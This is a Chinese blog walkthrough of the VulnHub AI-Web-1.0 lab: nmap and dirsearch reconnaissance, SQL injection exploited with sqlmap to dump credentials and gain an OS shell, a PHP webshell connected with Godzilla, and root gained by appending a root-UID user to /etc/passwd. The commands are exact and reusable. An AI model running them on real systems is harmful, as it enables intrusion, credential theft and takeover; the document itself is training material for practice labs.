首页 > 其他分享 >AI-Web-1.0靶场

AI-Web-1.0靶场

时间:2024-03-27 15:00:11浏览次数:25  
标签:Web 1.0 52.130 AI 192.168 -- passwd txt 目录

准备阶段

下载地址

Download: https://drive.google.com/open?id=140bO4W6v7fd_dWhCmcFHTf86zwL9s_xP

Download (Mirror): https://download.vulnhub.com/aiweb/AI-Web-1.0.7z

网络设置

将网络设置为桥接模式

信息收集

端口扫描nmap

网络使用了NAT模式,先查看本机的VMware8(默认)虚拟网卡的网段

网段为192.168.52.1/24,使用nmap探测靶场网段

nmap -sn 192.168.52.1/24

-sn:禁用端口扫描

得知靶机IP为:192.168.52.130

接下来使用一些常规扫描

nmap -sV -O -sT 192.168.52.131

-sV:执行版本探测,尝试确定开放端口上运行的服务和版本信息

-O:开启操作系统探测,尝试推断目标主机运行的操作系统类型及其版本

-sT:执行TCP Connect扫描,这是最基本的扫描类型,通过建立完整的TCP连接来检测端口状态

nmap -sU 192.168.52.131

-sU:执行UDP扫描,用于探测开放的UDP端口

目录扫描dirsearch

对网站目录进行扫描

python37 dirsearch.py -u http://192.168.52.130/ -x 404

-x:排除指定状态码

指纹识别dismap

dismap-0.4-windows-amd64.exe -u http://192.168.52.130/

收集汇总

  1. 靶机为Linux系统,什么版本的目前不清楚
  2. 只开放了80端口,使用的Apache服务
  3. 敏感目录为robots.txt

渗透过程

访问网站和敏感文件目录

首先是默认的80端口

只有一句话,翻译:甚至不用谷歌搜索我的内容

http://192.168.52.130/

访问robots.txt文件

发现其他的敏感目录

http://192.168.52.130/robots.txt

m3diNf0目录

对网站的m3diNf0目录进行扫描
python37 dirsearch.py -u http://192.168.52.130/m3diNf0 -x 404

-x:排除指定状态码

phpinfo页面

发现网站根目录: /home/www/html/web1x443290o2sdf92213

se3reTdir777目录

发现一个搜索框

se3reTdir777/uploads/目录

SQL注入

判断是否存在

首先输入1,回显了账号密码

再输入1',此时发生了报错

使用burpsuite抓包,对其进行深入判断

此时我的TsojanScan插件判断出来了两种注入类型

报错注入

延时注入

手工判断后发现确实存在注入,注入点为uid

SQLmap一把梭-《梭哈是一种智慧》

将uid后面的参数改为*

SQLmap会自动识别

然后鼠标右键-->Copy to file-->添加文件名和后缀-->保存到桌面

将txt文件移动到SQLmap的目录下面

之前已经爆出了数据库名,现在直接获取所有内容

如果为移动文件夹,那么-r后面直接加入文件路径,比如:C:\Users\用户名\Desktop\1.txt

python37 sqlmap.py -r ./1.txt -D aiweb1 --dump

-r:指定文件

-D:数据库名

--dump:获取所有内容 注意:不推荐!!!因为这是靶机,所以才使用

看见等于号,立马判断是base64编码,进行解密后

RmFrZVVzZXJQYXNzdzByZA==;FakeUserPassw0rd

TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==;MyEvilPass_f908sdaf9_sadfasf0sa

TjB0VGhpczBuZUFsczA=;N0tThis0neAls0

SQLmap获取shell
python37 sqlmap.py -r ./1.txt --os-shell

--os-shell:获取对网站进行shell获取

将网站和发现的根目录拼接起来,得到

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

访问http://192.168.52.130/se3reTdir777/uploads/tmpubgnv.php

上传php木马后,使用哥斯拉连接

提权

openssl提权

首先查whoami,并不是root权限

查看/etc/passwd文件,看看有那些权限

使用openssl添加用户

openssl passwd -1 -salt h 123456

添加用户h密码为123456

将用户写入/etc/passwd文件里

echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd

查看/etc/passwd文件,是否有写入进去

成功写入

cat /etc/passwd

切换h用户

su h

输入密码后whoami,显示为root,完成提权

查看flag

cat /root/flag.txt

总结

  1. 确认靶机IP
  2. 端口和目录扫描
  3. 使用SQLmap进行注入获取shell
  4. 使用openssl提权

标签:Web,1.0,52.130,AI,192.168,--,passwd,txt,目录
From: https://blog.csdn.net/qq_46187131/article/details/137077854

相关文章

  • 零基础Web3入门到精通
    Web3是互联网的下一代,它将使人们能够拥有自己的数据并控制自己的在线体验。Web3基于区块链技术,该技术为安全、透明和可信的交易提供支持。现在的web已被成为传统互联网了,那么如何抓住下一代互联网的红利呢,有没有想一起学习Web3的同学,大家可以一起探讨学习,请加QQ群:782128964......
  • Authentication failed. Some common reasons include:
    问题无论是pull、clone还是push都报错fatal:Outofmemory,mallocfailed(triedtoallocate301989888bytes)fatal:Couldnotreadfromremoterepository.Pleasemakesureyouhavethecorrectaccessrightsandtherepositoryexists.解决方法gitconfig--globalh......
  • 【SPIE 出版|EI, Scopus Index】第六届图像、视频处理和人工智能国际会议(IVPAI 2024)
    第六届图像、视频处理和人工智能国际会议(IVPAI2024)日期:2024年7月21-23日地点:马来西亚,吉隆坡官网:www.ivpai.org会议背景:IVPAI在过去的五年(2018-2021&2023)里取得了巨大的成功。累计吸引了超过7000份申请和2000名与会者,展现了其在全球范围内的广泛影响力和学术价值。......
  • JavaWeb学习笔记——第六天
    MySQL(一)数据库概述数据库即DataBase(DB),是存储和管理数据的仓库。数据库管理系统即DataBaseManagementSystem(DBMS),是操纵和管理数据库的大型软件。SQL即StructuredQueryLanguage,是操作关系型数据库的编程语言,定义了一套操作关系型数据库统一标准。常见的数据库产品......
  • .net6 core web项目发布部署到IIS,以Windows服务的形式部署启动,报错1053,报1067错误解
    安装NuGet包Microsoft.Extensions.Hosting.WindowsServices  varbuilder=WebApplication.CreateBuilder(newWebApplicationOptions{ContentRootPath=AppContext.BaseDirectory,Args=args});//Addservicestothecontainer.builder.Services.Add......
  • PanTools v1.0.17 多网盘批量管理 批量分享、转存、复制...
    软件介绍一款针对多个热门网盘的文件管理、批量分享、批量转存、批量复制、批量重命名、批量链接检测、跨账号移动文件、多账号文件搜索等,支持不同网盘的不同账号的资源文件操作。适用于网站站长、资源爱好者等,对于管理名下具有多个网盘多个账号具有实用的效果。支持:百度......
  • SpringBootWeb最新相关技术(上接maven):IDEA2023-Spring环境,http协议复习概览,web服务器To
    Spring官网HTTPs://spring.iospring生态(全家桶)基于SpringFramework基础框架。但如果我们基于该基础框架开发,会面临配置繁琐,入门难度大的问题,SpringBoot则可以快速开发(简化配置,快速开发)。1.SpringBootWeb入门使用SpringBoot开发一个Web应用,浏览器发起请求/hello之后,给浏......
  • 用 AI 给人生开挂的正确方式 - 在 AI 迅速进化的时代,我们应该如何不落伍
    作者:明明如月学长,CSDN博客专家,大厂高级Java工程师,《性能优化方法论》作者、《解锁大厂思维:剖析《阿里巴巴Java开发手册》》、《再学经典:《EffectiveJava》独家解析》专栏作者。热门文章推荐:(1)《为什么很多人工作3年却只有1年经验?》(2)《一文掌握大模型提示词技巧:......
  • mmpretrain安装教程(踩雷记录)
    目录ModuleNotFoundError:Nomodulenamed‘mmcv‘包命令pkgutil报错OSError:CUDA_HOMEenvironmentvariableisnotset.PleasesetittoyourCUDAinstallroot.error:MicrosoftVisualC++14.0orgreaterisrequired.Getitwith"MicrosoftC++BuildTools......
  • 开源AI引擎:利用影像处理与目标检测技术对违章建筑排查
    一、项目案例介绍随着城市化进程的加快,城市规划和管理工作面临着前所未有的挑战,违章建筑的排查与处理成为了城市管理中的一项重要任务。传统的违章建筑排查方法依赖于人力巡查,效率低下且难以全面覆盖。为了解决这一问题,现代技术被引入到城市管理中,特别是影像处理、图像分类和......